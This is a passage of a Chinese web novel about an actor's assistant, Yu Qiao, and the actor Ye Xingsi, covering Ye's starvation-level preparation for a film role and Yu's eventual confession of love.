俞悄瞥一眼叶幸司挂衣领上的墨镜。 失敬,原来是家族图腾。 “都直接来我这了,这顿饭我还能逃了?” 纪繁西也很默契地没直接问试镜结果,她笑盈盈地送左槊往外走,亲自去给影帝当司机。 “晚上我请您和幸司一起吃呗。挺久没来这边了,想锅子了吧?” 左槊哈哈笑,回身指指俞悄:“这个小朋友也一起来。” 第64章 “小朋友”这种称呼,从年龄足以称得上长辈的人口中喊出来,还是笑盈盈地喊,给俞悄造成了一种错觉。 一种左槊很和蔼,他和叶幸司的叔侄关系一定也如此亲密的错觉。 俞悄甚至比着左槊手指的指向划拉一番,确定他指的是自己,这声“小朋友”喊的也是自己后,下意识就想推脱。 上次叶幸司去香港,和左槊见面吵了一架就走了。 这次左槊这个时间过来,不管多少,肯定是有关心侄子的成分在的。 那不管于公于私,俞悄都觉得自己不适合去掺合这顿饭—— 于私来说,这爷俩儿平时也不联系,年都没在一起过,趁这次机会好好唠唠嗑,增进增进感情,自己过去傻坐着算干嘛的。 于公,即便需要谈论合作的事,也有纪繁西在,跟自己这个小小的助理毫无关系。 当然了,如果俞悄也是演员那就不一样了。否则不用左槊说,他从家带筷子带碗,都得厚着脸皮跟着去。 “左老师我就不……” “他就爱吃好吃的。” 俞悄的“不”字刚噘了个口型,声儿都没发出来,就被纪繁西给打断了。 “去啊,俞悄,你俩都去。” 她步履稳健地跟着左槊往电梯走,嘴皮子和回头瞪人的动作同样利索流畅,替俞悄一口答应下来。 “你俩也回去休息吧,晚点等我电话。” 俞悄愣了愣。 叶幸司停下来看他一眼,等左槊和纪繁西的电梯下去,见俞悄仍在若有所思,还多了几分怅然若失,他开口道:“不想去就不去。” “嗯?”俞悄回过神。 “晚上的饭。”叶幸司重复一遍,“你不想去就别去了。” “也没有。”俞悄抓抓脸,笑了一下,“突然想起件小时候的事。” 进入职场以来,带给俞悄最深的感触之一,就是不能轻易地说“不”了。 哪怕只是一顿有他五八没他四十的饭局。 像俞悄很少觉得自家的家境称得上优渥一样,他小时候也从没意识到,老爸老妈对他的纵容程度,其实远远超过其他同龄人的原生家庭, 不止他,包括俞小雨。 发现这一点,就是由俞小雨的小脾气引发的一件小事上。 老爸老妈对他和俞小雨,一度宽松到被家里长辈批评“纵容”的程度。 俞悄记得很清楚,是俞小雨六年级那一年的中秋,家里聚餐,一大家子都来他们家里吃饭,俞小雨跟老妈生气了不出来,一大家亲戚轮番去劝,她反锁门板谁都不见。 老妈由她去,简单替她解释了下,就张罗着开席。 老爸还给俞小雨留了饭,怕她半夜出来偷偷翻吃的翻不着。 老人都没说什么,舅妈先不舒服了。 她阴阳俞小雨没家教,家里长辈都来了,也不知道出来喊个人。 “不乐吃不吃,她不吃她饿着。少出来喊你一声舅妈你还吃不下了是怎么着?” 纪繁西直接把筷子往桌上一拍,当时就撂了脸。 “我们家小姑娘就是娇贵,这还是在我姐我姐夫家,爸妈也都在这坐着,轮得上你在这点嘚人啊?” 舅妈一下被怼得脸通红,俞悄也吓一跳。 因为他当时心里其实有点赞同舅妈,觉得俞小雨这次发脾气真有点儿不看场合,不懂事了。 老姨这一通怼,也是半分面子没给舅妈留。 但神奇的是,没有一个人指责纪繁西的态度。 “哎行了。”舅舅甚至还半开玩笑的陪着笑脸,“你嫂子也就那么一说。犯不着生气奥。” “我不是那个意思。”舅妈尴尬又恼火,还得跟着赔不是。 “我看小雨也是被你这脾气带的!”只有姥姥虎着脸假装打了老姨一下。 “今天公司忙,给我整上火了。”老姨借坡下驴,冲舅妈点一下酒杯,“嫂子别跟我一样的。” “……我舅舅在南方做生意,平时见面少。” 俞悄回忆着,慢吞吞地跟叶幸司描述。 “我也是后来才知道,那两年舅妈的娘家出了事,需要好大一笔钱。我舅舅攒的底子全垫进去了都不够,剩下的几乎都是纪……我老姨和我妈帮衬着填的。” 俞悄平时也总读串“纪姐”和“老姨”,这还是第一次反过来读错。 “我妈脾气好,不爱生气,她都够呛能听出来舅妈在阴阳她。我爸呢是女婿,老丈人丈母娘都在,也不好开口。” “所以我姨说这些最合适,她也是真听不得有人说我妈,说我和我妹。” “那会儿我姨还没发展成现在这样,还不是‘纪姐’。” 俞悄笑笑。 “但也很厉害了,更别说那时候年轻气盛,脾气比起现在只多不少。” 很小的一件事,却让正在上中学的俞悄第一次直观的意识到——不论小家还是大家,谁能挣钱,谁腰杆就硬,谁就拥有绝对的话语权。 哪怕拍着桌子骂嫂子,舅妈都得赔着笑脸给她道歉。 “当然,那天饭局结束后,我姨也把俞小雨拽出来骂了一顿,小丫头确实被惯得不懂事了。给我妹凶得扯着嗓子哭,我姥爷又追着我姨要揍孩子。” 俞悄低头踢了脚路边的小石子。 “直到现在,家里还是公司里有饭局啊聚餐什么的,爸妈问我们去不去,我和我妹都是想去就去,不想去也没再听谁多说什么。” 当年那个年轻气盛、护着外甥女冲亲嫂子拍桌的老姨,和刚才亦步亦趋、向左槊示好的“纪姐”纪繁西,缓缓地在俞悄脑海中重叠在一起。 一种说不上来的滋味,在心头蔓延开来。 人还是同样的人,事也大差不差,都是吃饭的小事。 可背景由“家”放大到职场里,或者社会中,竟然也是同一个道理。 ——上位者随口的一句话,便是下位者费尽心力的讨好。 而俞悄抛开血缘,一个处于更下位的小助理,更是连答应和拒绝的机会都没有。 “可怕的圈子。” 他轻声感慨。 嘴上喊着每一个职位都值得被尊重,可演艺圈是所有人心照不宣的修罗场。 这里等级分明,这里规矩森严。 从某种角度来说,这里是自成一派的冰冷世界,有着悬浮于法典之上的隐形条文。火不火,就是权衡一切是非对错的粗暴准绳。 俞悄回忆、叙述、感慨的过程中,叶幸司一言不发,连暗示他有在倾听的适当语气词都没有。 俞悄说完了,他也没有作出只言片语的反应。 “我说完了。”俞悄不得不提醒他,“在排练厅他让你演什么了?” 叶幸司简单描述了下,没什么特别的,就是方奇妙的两段剧情。 之所以时间长,是第二段在表演过程中,左槊直接参与进来,跟他实打实的进行了一场即兴发挥式表演。 然后继续挑叶幸司毛病挑了半天。 “所以你想去吗?” 叶幸司说自己两句话带过,望着俞悄,第三次重复刚才的问题。 “不想就不去。” “不想。”俞悄诚实道。 叶幸司“嗯”一声:“那就不去。” 俞悄又笑了,他望着叶幸司眨了下眼,这次是释然的笑。 “你真好啊,叶幸司。”他真诚地对叶幸司说。 “别扯没用的。”叶幸司不吃这套。 “但也有点想。”俞悄欠不啦叽的,抻抻懒腰又换一副面孔,“我好奇你们会说啥。” 然而这顿由影帝左槊亲自点名俞悄,让他一起去的饭局,跟他想象中或亲情弥漫,或剑拔弩张、叔侄对砍的场景,不说没什么联系,完全就是相隔十万八千里。 无比普通的一顿饭,左槊和纪繁西从八百年前房地产的泡沫经济,聊到影视寒冬,连某明星家某品类宠物猫的隐形遗传病都扯了几句…… 就是不聊电影。 不聊叶幸司。 更没有任何专门提到俞悄的部分。 合着点我名只是出于礼貌,凑四张椅子好看的。 俞悄默默腹诽。 见叶幸司对着满桌佳肴一筷子不动,梗着脖子跟要入定似的,他在心里叹口气,往人盘子里夹了一颗圣女果。 本以为这顿饭就这么回事了,俞悄都做好了像当初叶幸司去和林二部吃饭,俩人自我安慰“万事开头难,有总比没有强”的心理准备。 然而姜还是老的辣。 纪繁西看似同他们一样被左槊牵着走,几次想聊聊《半地鸡毛》都没成功。 可到饭局的最后,她以一种任何人都没注意到的巧妙切入,毫不突兀地将话题主导权攥进手里。 “一点没变,太心急。” 左槊似笑非笑,半真半假的先点评了纪繁西一句。 “可别折磨我们了,我哪有槊哥您这样的气度和城府。” 纪繁西当即自罚一杯。 “我一个人肯定拍不了板,回到那边还得跟导演制作一起商量。”左槊说,“如果不是想给他机会,我过来一趟干嘛呢?” 这话依然留足了反悔的退路和余地,听在纪繁西耳朵里,完全就是已经成了的信号。 她直接趁热打铁,开始细推合同——这招叫增加心理暗示。 纪繁西教过俞悄。 不要怕提条件,什么东西想到五成,开口就要提到十成。提十成对方也许会砍到三成,可如果只提五成,就一成都得不到。 世子之争,向来如此。 俞悄眼睁睁看着公式套入现实的现场教学,激动地在桌子底下划拉到叶幸司的脚,踩了他一下。 叶幸司比起他俩,几乎没有任何心理波动。 他像是习惯了将对一切事情的期待阈值放到最低,哪怕在饭后,纪繁西信心满满地对他们比“OK”的手势,说相信她已经稳了。 在合同盖完最后一个章之前,他都不会表现出任何放心的状态。 并且很实诚的在二十天之约的第二十天,拍下他成功减掉二十一斤的体重数据,给左槊发了过去。 “你叔怎么说的?”俞悄眼巴眼望地等回应。 “没回。”叶幸司说。 “一个比一个能装。”俞悄受不了地直抓头发。 抓着抓着,他想到一个让他感到十分诡异,之前都不敢细想的重要问题。 “方奇妙和他姐夫是不是有个接吻的剧情?” 俞悄面色古怪,朝叶幸司饿到死皮开裂的嘴唇上,一下下地瞅。 “不恶心吗?专业演员真的能做到没有一丁点心理障碍啊?” 叶幸司沉默半天,终于暴露出他暴瘦二十一斤都没有露出过的痛苦神色。 “恶心。” “之前看剧本的时候没见你提过恶心呢。”俞悄看他这表情直忍不住笑。 “谁敢细琢磨?”叶幸司反问。 俞悄笑得从沙发直滚到地上,叶幸司看他一会儿,笑着轻轻踢了俞悄一脚。 第65章 叶幸司入围决赛圈那天,他正和俞悄在破楼旁的夜市街吃烧烤。 俞悄吃,他坐着。 “你吃一口,就当欺骗餐了。” 俞悄攥着一串烤鸡翅在他鼻子跟前晃悠。 “吃你的吧。”叶幸司藏在口罩底下的嘴角绷成一条线,扭脸朝马路上看。 “太遗憾了,”俞悄吃得满嘴流油,“这么香。” 桌上的手机突然催命一样响起来,叶幸司翻过来看,盯着屏幕不接。 “谁的?”俞悄问。 “左槊。”叶幸司说。 “接啊!” 俞悄直接伸着两只油手要去帮他摁屏幕,叶幸司往后仰仰身子,滑下接通键。 隔着听筒,俞悄听不到他们说了什么,只盯着叶幸司耷下来的睫毛看。 叶幸司“嗯”了三声,第二声与第三声之间停滞了几秒,最后像是沉沉的吸了口气,应一句:“好。” 就把电话挂了。 “说什么了?”俞悄立马问。 “三轮试镜。不出意外的话……” “就定你了?”俞悄忍不住打断他,“后面不再折腾了?” 叶幸司点点头,漂亮的眼睛一点、一点地弯出弧度:“嗯。” 俞悄嘴里嚼了一半的鸡翅膀掉进啤酒里,砸出一串小气泡。 《半地鸡毛》的筹拍很低调,但配置无可挑剔。 负责掌镜的导演叫黄奇,人如其名,是圈内知名的鬼才导演。 外号黄疯子。 这位大佬的电影一拍一红,拍出来的东西在内地总是几经波折,却是国际影坛都叫得上号的硬茬。 尤其在港台那边,十个影帝影后里,至少有七个从他的电影里出采,剩下三个心甘情愿在他电影里做配。 而他之所以被称为“黄疯子”,是因为这人选角从不按套路出牌,不看演员,全靠眼缘。 《半地鸡毛》里扮演方奇妙混混男友的演员,是如今势头蒸蒸日上的台湾男明星。 这哥们儿最开始只是个餐厅的服务员,黄疯子去吃了碗牛肉面,觉得这人的气质很符合他新电影里的一个角色,稀里糊涂就就把人家挖掘起来了。 这次叶幸司能被定下来,左槊也没说假话,他一个人确实做不了主。 主要还是不想做主,左槊担心叶幸司的演技达不到他的要求,犹豫了很久,将备选的另外两个男演员,与叶幸司的资料一起拿给黄疯子看。 是黄疯子最后拍的板。 “他的脸可以,是我需要的那种感觉。” 黄疯子的原话是这么说的。 “演技不重要。拍我的电影听话就够了。” 用黄疯子在试镜现场的评价来说,叶幸司的长相很有一种奇妙的“病”感。 不是看起来不健康,也不是柔弱,叶幸司的五官很好,眼尾狭长,嘴角尖锐,虽然平时没什么表情,但笑起来是标准的上扬角。 把控好尺度的话,能在他脸上同时看到邪性、麻木、不羁,与危险。 黄疯子主面试的最终试镜非常成功,叶幸司当即就被敲定。 另外两位备选连试镜的机会都没给,黄疯子直接让他们回家了。 直到走完所有流程,合同正式落了地,俞悄仍处于半呆滞状态。 他做梦似的问纪繁西:这黄导是疯子么? 纪繁西点点头:他一直这么疯。 成型的完整剧本在签完合同后发到叶幸司手上,方奇妙的人设与故事线都调整了不少。 ——黄疯子嫌方奇妙这个角色不够惨,自杀的合理性也欠缺,于是将方奇妙“学坏”时间轴往前拉,早在他姐夫离家出走前就开始接触毒品,最后决定自杀,是因为他感染了艾滋。 一个没人能管住的留守儿童,无可救药的死同性恋,又吸毒又染艾滋,最后死在了一艘乡下破船上。 这就是叶幸司正式出道七八年来,第一个正儿八经的电影角色。 修改后的设定,让左槊对叶幸司的体重要求更加严苛,要在已经瘦了二十斤的基础上,为了最后那场确诊艾滋的镜头,再减十斤。 俞悄听到这个消息差点蹦起来,觉得左槊完全就是疯了。 叶幸司听着俞悄嚷一大堆,一直没应声,专注地翻着剧本。 最后他用一句话就让俞悄安静了。 “从现在起,我就是方奇妙,一直到杀青那天。” 叶幸司说。 他交代俞悄只要在家里,在他们两个人相处的时候,都只许喊他“方奇妙”。 叶幸司要在世界上消失几个月,让方奇妙诞生。 一切的心疼,在叶幸司认真的眼神里,都被咽进肚子里化为沉默。 俞悄鼻头发酸的同时,从心底里冒出一个念头:叶幸司真的很可爱。 于是他配合着咧咧嘴:“好的,方奇妙。” 这次正式进组之前,叶幸司一边继续减肥,一边重新捡起他的练戏日常。 但他不再仅限于在家里,看着别人拍出来的角色排练。 这位方奇妙同志上GAY吧,下夜店,拿面粉伪装成白粉,把自己吸得喷嚏连连。 他去防疫站咨询艾滋病的大细小节,在充满死亡气息的住院部游逛,观察那些艾滋病人日渐崩溃的身体状况。 营养师的建议已经成了废话,他一天只吃一根香蕉,饿得脸颊和眼窝一起下凹,比黄疯子更像个神经病。 没有导演不喜欢这样的演员。 这样的拍前准备,俞悄陪着叶幸司熬了整整两个月。 他的心态从最开始的心疼到掉眼泪,到焦灼,到无奈接受……等到正式进组时,已经完全变为了平静。 看着叶幸司不让他饿死就行。 这是俞悄唯一的念头。 《半地鸡毛》的拍摄没有壮观的场面,没有惊心动魄的剧情,全都是最日常的生活实景,却足足拍了九个月。 叶幸司在组里跟足了九个月,俞悄跟着他也待了九个月。 叶幸司像在过日子,俞悄的感觉像做梦。 九个月里,白桃去年的一部电视剧为她拿到了视后,但质疑声一片,她发了篇带着情绪的长微博,又被群嘲矫情。 卡卡从常驻的综艺节目请假,称因为身体问题需要住院疗养。 艾浩来探了一次班,他接连两部作品扑街,看起来沧桑了十岁。 蒋雨池在一档演员选秀的节目里和评委吵了起来,直接摔话筒走人,“蒋雨池耍大牌”的热搜牵扯起一系列真真假假的黑料,挂了足足一周。 据说纪繁西大发雷霆,指着蒋雨池鼻子骂了半天,结果蒋雨池又跟她吵了一架。 似乎每个人都过得不是很顺利,包括叶幸司——左槊对于演戏有着神经质一般的极端要求,严格到每一帧微表情都要达到他满意的标准,好几次导演都喊“ok”了,他看着不满意,就要让叶幸司不停重来。 叔侄俩的疯魔劲如出一辙。 最让俞悄头疼的,是《半地鸡毛》眼见就要杀青了,叶幸司的下一部戏还没有着落。 唯一称得上好消息的消息,是《天王》的制作在这九个月内完成了。 第66章 叶幸司剧中杀青的那场戏,是在正儿八经的乡下野船上拍的,改为了夜景。 他瘦骨嶙峋地仰躺在河面上,眼睛里承载着万里银河的星芒,发出最后那条短信,他皮包骨的手指颤巍巍点起一根烟,深深抽了一口,闭上了眼睛。 “好!” 随着黄疯子的喊停,叶幸司从船上翻起来,两个工作人员拉船靠岸,扶着他下来。 一条过,剧组鼓掌祝贺杀青,左槊也挑不出毛病,慢慢拍了两下手,亲自把杀青花捧给黄疯子。 叶幸司接过花,对着剧组鞠躬道谢。 俞悄拿毯子冲出来给他裹上,所有人都在和叶幸司寒暄,他盯着叶幸司的眼睛,小声问:“冷不冷?” 叶幸司微微偏过头,在他耳边轻声说:“饿。” 俞悄的鼻腔一下就酸了。 没等他问,叶幸司主动说:“米饭。” 吃。 俞悄掏出手机就出去给他定饭店。 想吃月亮我都给你摘下来。 叶幸司这次的杀青比《天王》杀青时还要忙,确切来说是赶,赶时间,赶到也像已经成了角儿的明星一样,连庆功宴都没工夫参加,扒了几口饭就坐车往邻市的机场赶。 因为《天王》的证下来了,宣发要跟上,作为男二他得配合剧组参加各种活动,去发布会站台。 《天王》的人见到叶幸司都吓一跳,尤其是白桃。 减肥人最懂减肥人,她和当时俞悄再见到她时的反应一样,上下打量着叶幸司,眼里透出巨大的惊讶和纯粹的心疼。 “妈呀,幸司你瘦得我都没敢认。”白桃伸出拧细的手腕子跟叶幸司比,“我感觉咱俩都快差不多了,这也太拼了。” 一群人条件反射的都跟着掐手腕,瞿承衍作为唯二了解内情的人,拍拍叶幸司的肩。 叶幸司捋好袖口,垂眼笑了下,说:“没有这么夸张。” 在叶幸司心里应该是真不觉得夸张,他是真觉得演戏这一行不疯魔不成活。 但当天的直播一开通,“叶幸司为了角色狂减30斤”直接在话题榜炸开了。 主持人都没忍住在叶幸司这多用了几分钟,问他暴瘦的事,《天王》的话题词条硬生生被叶幸司压了一个小时。 俞悄站在下场口,一边等叶幸司下台一边刷手机。 他这段时间根本没顾上刷微博,看叶幸司持续做了十来个月的体重管理,感觉比自己减还累心。 他浏览器里上次的搜索记录,还是“怎么保证长期营养不良的人不被饿死”。 《爱在东南角》播出后一年多没节目没话题,让叶幸司的热度掉得厉害,粉丝数据都没怎么涨。 今天这突然一露面,超话立马动起来,死忠黑们惊恐不已,满屏问号。 “哥你到底要干什么,搞清楚你的定位,别整为戏献身那死出好不好?” “我去我以为整容事故,瘦得我没敢认。” “完了,花瓶光剩个瓶了。” “疑似今年的春节档提前泄漏。” “所以这是开始立敬业人设?” “刚咬一口的大汉堡不香了,叶幸司你满意了[发火][发火]” “求方法……” “我以为半地鸡毛是电影名,原来是指要把演员饿成鸡毛。” “二十天二十斤敢不敢再假点,烦了。” “还有人记得这是《天王》的主场吗?在这卖惨搞什么。” “怀疑真嗑了,建议严查。” “我滴妈,不行我真有点心疼了。” “左槊不给你饭吃???” …… 刷着这熟悉的风味,俞悄竟然有种脚终于踩在地面上的踏实感。 他也是被调得有点儿没人样了。 不过今天的黑子言论似乎有些刻薄,有种落魄的时候哥们儿鼓励你,但你要真上进努力了哥们儿很难受的感觉。 《天王》的宣传有好几站,还紧急插队了一档热门综艺。 瞿承衍和白桃都只把第一场和综艺参加了,他俩各有各的忙法儿,轮着没空,只有叶幸司这个男二能跟完全程。 这就是“忙”与“赶”的区别。 “不然咱们也别去了。”俞悄坐在健身房里拉行程表,哭丧着脸,“跟他们似的轮班替算了。” 叶幸司正在做肌肉训练,他拍《半地鸡毛》减肥减得没了人样,增重和塑形得同时跟上。 “怎么了?”他喘着气瞥过来。 “你都没能好好歇歇,我也累。”俞悄说,“九个月给我熬穿了,感觉回不来神似的。” “真闲下来你又该心慌了。”叶幸司说。 这是大实话。俞悄立马不吱声了。 终于把该处理的事情处理得差不多,二人拖着行李回到叶幸司的小破楼,清净得简直恍如隔世。 “该提前叫保洁来的。” 俞悄把窗户全都打开通风,家里没有异味,但一股子陈旧的灰尘气。 约个保洁来做完卫生,叶幸司去洗澡,他开始收拾自己之前带来的行李。 叶幸司只套着睡裤,擦着脑袋从卫生间出来时,俞悄和行李箱一起立在客厅,正在细细回想有没有遗忘的。 “你要走?”叶幸司问。 “嗯?”俞悄愣一下,“不然呢?” 叶幸司擦头发的手顿了顿,收回目光往卧室走,说:“没什么。” 最近一个月虽然到处跑,但能正常吃饭了,叶幸司还是瘦,但整体看着已经比在《半地鸡毛》剧组正常得多,不再像个活死人。 一颗水珠顺着他线条分明的脊背滚落,俞悄的目光和喉结跟着上下滑了滑,水珠滚进裤腰,叶幸司突然回头,他猛地抬头假装研究天花板。 “吃个饭再走吧,”叶幸司说,“我做。” 俞悄眼珠子滴溜溜地转回来,又开始研究叶幸司的表情。 “看什么?”叶幸司一挑眉毛。 “舍不得我?”俞悄问。 句式是疑问句,但俞悄的口吻是轻轻的肯定句。 叶幸司没有接话,他把浴巾扔进洗衣机,直接进厨房。 拉开冰箱,里面空空如也。 “进组前都被我收视了。” 俞悄跟过来,像个树袋熊趴在门框上,用手背垫着脸。 “就算有东西也不能吃,装着忙啥呢。” 叶幸司跟他对视,俞悄眼皮子一眨一眨的,重新问:“是不是舍不得我?” “想吃什么?”叶幸司反问。 “问你呢。”俞悄伸出一条腿够过去,试图用脚趾拧叶幸司的小腿。 “用问吗?”叶幸司终于正面回答了,他盯着俞悄,“还需要多明显?” 俞悄心里“噼里啪啦”开出一片小花。 他满意地笑了下,一步一蹦高儿,回到客厅蹦回沙发上舒服地躺倒,开始玩手机。 “那再陪你一晚上吧。”他像个仁慈的皇帝,“拿你一点办法都没有。” 叶幸司也笑了,是那种带点儿无奈的笑。 “去洗澡再躺。”他过来踢一脚沙发,“洗完跟我去买菜。” “哪有先洗干净再去买菜的。” 俞悄嘴里嘀嘀咕咕,但还是爬起来,美滋滋地执行命令。 人与人之间的同化,就在不知不觉间,与无数的习惯细节里。 俞悄记得自己刚给叶幸司做助理,录《塌房》前后,包括去上表演班,甚至直到接《天王》之前,他都觉得叶幸司出门必备的三件套:口罩、帽子、大墨镜,都非常好笑。 那会儿他逮着机会就得阴阳叶幸司一下,扒光了站大街上都费劲有几个人能认出你,真能拿自己当腕儿。 然而现在只是出门买个菜,他自己鞋还没穿呢,无比顺手的就把这老三样掏出来,要给叶幸司戴上。 “不用。” 叶幸司回到自己的栖息地,反倒比俞悄自然,只拆开口罩往耳朵上一挂。 “买个菜而已。”他用俞悄曾经打趣他的话噎回去,“包袱挺重啊。” “对不起领导,”俞悄咧着嘴乐,“我实在太想进步了。” 玩笑归玩笑,去超市的路上,俞悄心里不由得翻涌出许多感慨。 “咱们在一起两年了吧?” 他掰着指头掐日子,一抬头,叶幸司没说话,捂着口罩的脸庞看不出具体表情,只是望着他。 “我给你当助理的时间。”俞悄忙补充。 叶幸司“嗯”一声,把视线收回去。 “真快啊,时间如尿尿。”俞悄呼出口气,“这工作哪是好人干的呢。我都怕我养成职业病,以后走哪老想着伺候人不完蛋了吗?” “走哪?”叶幸司又望回来,“想去伺候谁了?” “就这么一说。” “没这么一说。”叶幸司说,“消停在我身边呆着。” 俞悄听着叶幸司说这种话,应该是高兴的。 ——他也确实高兴了一下,几秒钟,可很快就从这开心里,蒸馏出一点发涩的酸楚。 人果然不能闲,那熟悉的伤感又泛出来了。 “你有没有觉得有时候你说话挺……” 俞悄没说完,他是脱口而出的,脱到一半紧急闭上嘴。 “挺什么?”叶幸司问。 “没事。”俞悄摇摇头。 他大步超越叶幸司,想进超市,被拎着后脖颈抓了回来。 “说完。”叶幸司索性在超市门口停下了。 俞悄想了会儿,扭脸看向他。 “挺暧昧的。” “有时候甚至会让我产生出错觉,觉得你是不是对我有那种意思。” “你是故意的吗?” 第67章 “嘟——” 一辆货车从马路往超市的地下车库拐,巨大的鸣笛声带着刺破睡梦的穿透感,把俞悄炸了个激灵。 开发区没什么人,但傍晚时分的超市门口,还是有人进出往来,流动的背景板越发衬托出二人之间漫长的沉默。 俞悄轻轻挣一下,叶幸司把他松开了。 “逗你呢。” 俞悄咧嘴笑笑,笑容在回头的瞬间消散。 他整整领子,率先往超市里走,自言自语地嘀咕:“突然想吃水果罐头呢。” 大半年没着家,什么东西都得现买。 二人从生活用品区开始逛,米面油盐酱醋纸,叶幸司在前面拿,俞悄推着小车跟在后面接。叶幸司停下来看商品,他也就停下来,胳膊肘杵在小车把手上,捧着手机认真打字。 “你很忙?” 小推车第三次磕上叶幸司的小腿,他扭头扫一眼又在摁手机的俞悄,开口问。 俞悄“嗯?”一声,向叶幸司道歉,眼睛和手依然粘在手机上。 “没,”他解释道,“在跟朋友聊天。” 叶幸司的脚在余光里停驻几秒,没说什么,继续往前走。 俞悄在和小蜡说话。 小蜡的消息一如既往像一串嘟噜屁,不断从手机底部涌上来。 小蜡:啥意思? 小蜡:你问他喜不喜欢你了? 小蜡:你不是说不提不想不跟人有发展吗?咋突然又问了,他咋说的? 小蜡:你啥时候回来的,也不告诉哥们儿一声帮你接风。 俞悄:不是。 小蜡:人呢? 小蜡:什么不是? 俞悄:没问他喜不喜欢我,就是问他为什么有时候跟我说话那么暧昧,是不是故意的。 小蜡:这不一个意思吗! 小蜡:又玩上纯爱了好兄弟。 俞悄:今天刚忙完,没到家呢我还。 俞悄:就是没忍住脱口而出了!脱口而出你懂吗? 小蜡:还爱说点小成语。 俞悄:有病? 小蜡:那他咋回答的。 俞悄:他没说话。 小蜡那边输入一会儿,没发过来,又输入。 输了半天,最后他发来一个很基佬的表情包。 小蜡:兄弟。 小蜡:我都不忍心开你玩笑了。 小蜡:你知道成年人的沉默就是拒绝吧? 这一排货架走到头了,车篮子跟别人的小车撞了一下,俞悄忙抬头道歉。 叶幸司回头面无表情地看他,俞悄调整好车头,继续打字。 俞悄:我知道。 所以他转移了话题,没有继续问。 小蜡那边长篇大论地输入,发过来一篇小作文。 俞悄没心情细看,粗粗扫一眼,大概意思就是:你俩亲都亲几轮了,说为了演戏那纯粹哄小孩,叶幸司的取向绝对没你想得那么正直,最起码也是男女都能接受。正因如此,人既然不愿意明确表态,那就已经不言而喻了。 小蜡:这哥们儿不简单,不像什么好人。 小蜡:你也别跟傻小子似的了。 俞悄回了一张“恶语伤人心”的表情包,把手机塞回兜里不想再说话。 叶幸司不知道逛到哪去了,他推着小车找了几步,又忍不住停下来重新掏出手机。 俞悄:本来我就没想跟他有什么,我自己喜欢他而已,跟他没有关系。 俞悄:他人蛮好的。 小蜡:。 后脑勺上突然摁上一只手,搓了一把俞悄的脑袋瓜。 “看路吧,或者看着我。” 叶幸司低声说着,往车篮子里搁了瓶黄桃罐头。 俞悄盯着罐头看几秒,手指攥在车把儿上松了紧,紧了松。 叶幸司已经又走远了,他吸溜吸溜鼻子,掏出手机,对准车篮子里的罐头,偷偷拍了一张。 两人拎着大包小包回到叶幸司的出租屋,俞悄一屁股坐沙发上就不动了。 “你就是想骗我给你当苦力,帮你拎东西。什么请我吃饭……” 他瘫在那展开阴谋论,叶幸司也不反驳——他是天天健身运动量跟上了,拎两个大兜走那么久,又爬楼,还脸不红心不跳的,直接挽袖子往厨房走。 一阵稀里哗啦的水声,他洗了个番茄出来扔给俞悄。 “其实我不怎么爱吃番茄。” 俞悄接住看了两眼,啃了一口,啃完想起自己还没洗手,就叼着番茄跟进厨房,凑着叶幸司洗菜的水洗洗手。 叶幸司往旁边挪一步,给他腾位置,问:“不喜欢吗,上次吃了两个。” “送到嘴边干嘛不吃。”俞悄随口说,“又没坏处,还富含这个那个的,对身体有好处。” 叶幸司转脸看着他。 “但我自己肯定想不起主动去买来吃,这玩意儿还是适合炒蛋。” “嗯,给你炒一个。”叶幸司说,“把鸡蛋给我。” 俞悄又叼着番茄去翻购物袋。 鸡蛋买了一板,他留三个给叶幸司炒菜,剩下的收进冰箱里。 正把鸡蛋一个个对齐小窟窿,背对着他切菜的叶幸司突然开口道:“没有故意。” “什么?”俞悄没听懂。 “在超市门口,你问我的问题。”叶幸司说。 俞悄愣了好几秒,心跳猝不及防地快起来。 他怔怔地问:“怎么突然又回答上了?” “刚才在想怎么说。” 叶幸司说。 “我没觉得暧昧,所以不存在故意。” “认识到现在,我在你这也没什么秘密了,怎么想就怎么说。” “我确实只想你就在我这,俞悄。” “去伺候别人这种事你不用想。伺候也不是什么好词,别乱用。” 他的说话声配合着切菜声,刀工很稳,一下一下富有节奏感,语气也又慢又稳。 每一个字都像刀刃敲击菜板,敲在俞悄心上。 “可是在我这很暧昧。” 俞悄望着空档档的冰箱,手里依然握着那枚鸡蛋,感觉到自己的嘴巴又开始不受控制。 “我会多想。” “我会被你一句话带动情绪,会想很多,因为我……我……” “你喜欢我。” 叶幸司用最平静的语气,无比自然,像是刚才让俞悄帮忙拿鸡蛋一样,帮他续上说不出口的这几个字。 俞悄手腕一抖,鸡蛋到底是磕碎在了冰箱沿上。 鸡蛋壳被他攥了个稀碎,蛋液顺着指缝淌一地。 他心慌意乱地蹲下去收拾,脑袋“砰”一声撞上冰箱门,疼得俞悄用另一条胳膊压着后脑勺,半天站不起来。 叶幸司听见动静回头看,立马放下菜刀冲冲手,去拿湿巾。 回到厨房,他在俞悄面前蹲下,问:“是吗?” 俞悄不吱声。 “胳膊拿下来,我看看破了没。”叶幸司又说。 他像拆开一个纸盒一样,拉开俞悄的胳膊,然后拨着俞悄的头发,细细检查一会儿。 “是啊,我喜欢你。” 俞悄的脸埋在膝盖里,声音带着自暴自弃的嗡嗡声。 “然后呢,你能喜欢我吗?” 第68章 那些情感语录的大师们曾经说过,真挚的喜欢是不可再生资源。 俞悄不知道这话的原出处究竟是谁,究竟有没有科学依据。他只记得他迷恋周行东的时候不能理解这句话,因为那是他第一次意识到自己喜欢上了一个人。 喜欢,这种感觉太奇妙了。 他会因为周行东的靠近而心跳,会因为他的冷暴力而患得患失,会郁闷会开心会激动会失落,可所有情绪的底色,都是快乐的。 因为喜欢一个人,而纯粹的快乐。 所谓的好哄、好脾气、好拿捏好说话,都是因为他喜欢他。 太喜欢了,所以能一步步降低自己的情感需求、一遍遍妥协退让,再一遍遍的为他说话,把自己哄好,继续去喜欢。 那时候的俞悄想,喜欢怎么会不可再生呢,周行东虐他千百遍,他照样能捂着眼睛去喜欢,甘之如饴。 直到触碰到连自己都哄不好自己的原则问题。 可是在发现喜欢上叶幸司后,俞悄有点儿明白这句话了。 ——不可再生的其实并不是喜欢,是敢于去喜欢的勇气。 他对叶幸司的喜欢远远超过当初对周行东,而对于这份喜欢的勇气,也形成了巨大的反比。 对周行东从一见钟情到开口告白,俞悄用了那么长的时间,可说到底他是有勇气的,是想要和这人有发展、有结果,他愿意为了结果主动迈出那一步。 喜欢叶幸司,只让他感到伤感。 向叶幸司坦白出自己的喜欢,没有当初对周行东表白时的激动与期待,只有浓郁到想哭的悲伤。 俞悄真觉得自己像一只蚌,毫无准备地被叶幸司撬开蚌嘴,整个人就变得彻底无助。 